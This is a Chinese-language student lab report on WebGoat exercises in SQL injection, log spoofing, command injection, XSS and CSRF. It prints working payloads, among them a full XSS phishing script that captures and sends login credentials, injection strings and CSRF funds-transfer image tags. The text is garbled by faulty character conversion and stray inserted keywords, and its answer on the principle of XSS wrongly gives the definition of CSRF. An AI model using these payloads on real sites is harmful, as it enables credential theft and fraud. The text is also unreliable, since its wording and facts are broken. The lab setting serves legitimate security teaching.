Web安全基礎實踐
標籤(空格分隔): <<網絡對抗>>javascript
目錄
- 基礎問題回答
- WebGoat下載安裝
- SQL注入攻擊 - SQL字符串注入(String SQL Injection) - 數字型SQL注入(Numeric SQL Injection) - 命令注入(Command Injection) - Stage 1:String SQL Injection
- XSS攻擊 - Phishing with XSS - Stored XSS Attacks - Block Reflected XSS - Reflected XSS Attacks(反射型XSS)
- CSRF攻擊 - Cross Site Request Forgery(CSRF) - CSRF Prompt By-Pass - CSRF Token By-Pass沒作出來
- 實驗體會
基礎問題回答
<a name="1"></a>java
- SQL注入攻擊原理,如何防護?
- 原理:SQL注入攻擊指的是經過構建特殊的輸入做爲參數傳入Web應用程序,而這些輸入大都是SQL語法裏的一些組合,經過執行SQL語句進而執行攻擊者所要的操做,使非法數據侵入系統。 - 防護: 1.對用戶的輸入進行校驗,能夠經過正則表達式,雙"-"進行轉換等。 2.不要使用動態拼裝sql,可使用參數化的sql或者直接使用存儲過程進行數據查詢存取。 3.不要使用管理員權限的數據庫鏈接,爲每一個應用使用單獨的權限有限的數據庫鏈接。 4.不要把機密信息直接存放,加密或者hash掉密碼和敏感的信息。 5.應用的異常信息應該給出儘量少的提示。 6.採起輔助軟件或網站平臺來檢測sql注入。
- XSS攻擊的原理,如何防護?
- 原理:CSRF跨站請求僞造,也被稱爲「oneclickattack」或者sess ionriding,一般縮寫爲CSRF或者XSRF,是一種對網站的惡意利 用,經過假裝來自受信任用戶的請求來利用受信任的網站。是一 種依賴web瀏覽器的、被混淆過的代理人攻擊。 - 防護 1. 特徵匹配方式,在全部提交的信息中都進行匹配檢查,通常會 對「javascript」這個關鍵字進行檢索,一旦發現提交信息中包 含「javascript」,就認定爲XSS攻擊。 2. 對全部用戶提交內容進行可靠的輸入驗證,包括對URL、查詢關鍵字、HTTP頭、POST數據等,僅接受指定長度範圍內、採用適當格式、採用所預期的字符的內容提交,對其餘的一概過濾。 3. 實現Session標記(session tokens)、CAPTCHA系統或者HTTP引用頭檢查,以防功能被第三方網站所執行。
- CSRF攻擊原理,如何防護? - 原理:CSRF跨站請求僞造,也被稱爲「oneclickattack」或者sessionriding,一般縮寫爲CSRF或者XSRF,是一種對網站的惡意利用,經過假裝來自受信任用戶的請求來利用受信任的網站。是一種依賴web瀏覽器的、被混淆過的代理人攻擊。 - 防護 1. 在form中包含祕密信息、用戶指定的代號做爲cookie以外的驗證。 2. 「雙提交」cookie。某個受權的cookie在form post以前正被JavaScript代碼讀取,那麼限制跨域規則將被應用。服務器須要在Post請求體或者URL中包含受權cookie的請求,那麼這個請求必須來自於受信任的域。 3. 用戶在瀏覽其它站點前登出站點或者在瀏覽器會話結束後清理瀏覽器的cookie。
WebGoat
<a name="2"></a>程序員
- ** WebGoat是OWASP組織研製出的用於進行web漏洞實驗的應用平臺,用來講明web應用中存在的安全漏洞。WebGoat運行在帶有java虛擬機的平臺之上,當前提供的訓練課程有30多個,其中包括:跨站點腳本攻擊(XSS)、訪問控制、線程安全、操做隱藏字段、操縱參數、弱會話cookie、SQL盲注、數字型SQL注入、字符串型SQL注入、web服務、Open Authentication失效、危險的HTML註釋等等。**
- 去找了好多資源下載,都是被牆掉了。
- 雖然webgoat已經有V8了 可是在網上你們都說7.1最穩定,因此咱們使用的是webgoat v7.1
webgoat v7.1 百度雲下載
-
提取碼:
xkxh
web -
開啓
webgoat
下載好webgoat的jar文件後,執行java -jar webgoat-container-7.1-exec.jar
正則表達式
- 打開瀏覽器輸入
localhost:8080/WebGoat
注意W G大寫。 sql
SQL字符串注入(String SQL Injection)
<a name="3"></a>數據庫
-
形成這個問題的緣由是編碼問題,可讓程序員背鍋的,畢竟能夠說是他們編寫的代碼質量不過關致使的。 - SQL注入攻擊,入手點在web 可是從根本上來講是SQL的問題。跨域
- 嘗試注入一個SQL字符串,以顯示全部信用卡號碼。 嘗試使用'Smith'的用戶名。
- 圖片中能夠看到提供的源碼
SELECT * FROM user_data WHERE last_name = 'Smith'
收索數據庫user_data
只要出現Smith就顯示出來。 - 輸入
'or 1='1
,語句就變成SELECT * FROM user_data WHERE last_name = ''or 1='1'
,這句的意思就是查詢lastname='' OR(或者)1='1' ,這裏的 1='1' 永遠爲真,因此無論姓啥都是對的,都能被顯示出來,這是最簡單的SQL注入攻擊。還有使用註釋符去註釋掉密碼,從而登入數據庫的等等。主要防護方式是字符串過濾。下圖是結果。
日誌欺騙(Log Spoofing)
- 利用日誌的格式,使用換行等字符,欺騙管理員
- url參數帶有%0d%0a , 在servlet裏獲得包含這個字段的string時, %0d%0a 會被轉義爲回車。仍是代碼編碼問題。
數字型SQL注入(Numeric SQL Injection)
<a name="4"></a>瀏覽器
- 題目要求:下面的表格容許用戶查看天氣數據。 嘗試注入一個致使全部天氣數據顯示的SQL字符串。 - 原理就是構造永真式
- 成功
命令注入(Command Injection)
<a name="5"></a> - 題目的要求是:嘗試給操做系統注入命令行,要求可以在目標主機上執行系統命令 - 經過火狐瀏覽器的inspect Element
對源代碼進行修改 - 成功截圖以下。 安全
Stage 1:String SQL Injection
<a name="6"></a>
- 要求,使用字符串注入在沒有正確密碼的狀況下登陸帳號boss
- 第一反應測試一下 有沒有過濾字符。
- 查看了一下源碼發現了小祕密
- 能夠入手了,使用
'or 1=1 --'
隱去密碼試試能夠登陸麼。 - 失敗了,會想起在看代碼時 發現源碼對密碼長度進行了限制 - 修改一下試試
- 成功了 截圖以下
Phishing with XSS
<a name="7"></a>
- 這是跨站腳本釣魚攻擊,要求在搜索框中輸入XSS攻擊代碼,利用XSS能夠在已存在的頁面中進一步添加元素的特色
</form> <script> function hack(){ XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value); } </script> <form name="phish"> <br> <br> <HR> <H2>This feature requires account login:</H2> <br> <br>Enter Username:<br> <input type="text" name="user"> <br>Enter Password:<br> <input type="password" name = "pass"> <br> <input type="submit" name="login" value="login" onclick="hack()"> </form> <br> <br> <HR>
- 結果以下
Stored XSS Attacks
<a name="8"></a>
- 要求建立非法的消息內容,能夠致使其餘用戶訪問時載入非預期的頁面或內容
- 在Message中構造語句
<script>alert("5329 attack succeed!");</script>
,提交後,能夠發現剛剛建立的帖子20155229
Block Reflected XSS
<a name="10"></a>
- 登錄larry用戶,修改用戶資料,把Street修改成
<script>alert('xss')</script>
Update
更新數據,顯示下圖。說明這個XSS是可行的。3 .而後退出Larry用戶,登錄Moe查看Larry的信息,驗證攻擊是否成功~
- SUCCESS!!
Reflected XSS Attacks(反射型XSS)
<a name="a"></a>
Cross Site Request Forgery(CSRF)
<a name="9"></a>
- 攻擊者盜用了你的身份,以你的名義發送惡意請求,對服務器來講這個請求是徹底合法的,可是卻完成了攻擊者所指望的一個操做,好比以你的名義發送郵件、發消息,盜取你的帳號,添加系統管理員,甚至於購買商品、虛擬貨幣轉帳等
- 寫一個URL誘使其餘用戶點擊,從而觸發CSRF攻擊,咱們能夠以圖片的的形式將URL放進Message框,這時的URL對其餘用戶是不可見的,用戶一旦點擊圖片,就會觸發一個CSRF事件
- 在massage 框裏輸入
<img src="http://localhost:8080/WebGoat/attack? Screen=288&menu=900&transferFunds=5329"/>
- 像我這種手賤的人,一點圖片 錢就沒了。錢沒了
CSRF Prompt By-Pass
<a name="11"></a>
- 分析 - 這個攻擊須要兩部,一次輸入轉帳的數目,第二次確認,沒有驗證碼的時代好危險。。。。
<img src="?transferFunds=4000" /> <img src="?transferFunds=CONFIRM" />
CSRF Token By-Pass
<a name="12"></a>
- 題目要求 - 須要獲取有效的請求令牌。 提供轉帳資金錶單的頁面包含一個有效的請求令牌。 - 轉移資金頁面的URL是本課程的「屏幕」和「菜單」查詢參數以及額外的參數「transferFunds = main」的「攻擊」servlet。 加載此頁面,讀取令牌,並在僞造的請求中附加令牌以傳輸數據。
- 額 沒作出來。
實驗體會
<a name="10"></a>
- 本次實驗中在SQL注入的花費的時間最多,看源碼看的眼睛疼。在看代碼的同時鞏固了上學期的Web知識。也深深領會到了代碼質量的重要性。對XSS和CRSF也有了必定的認識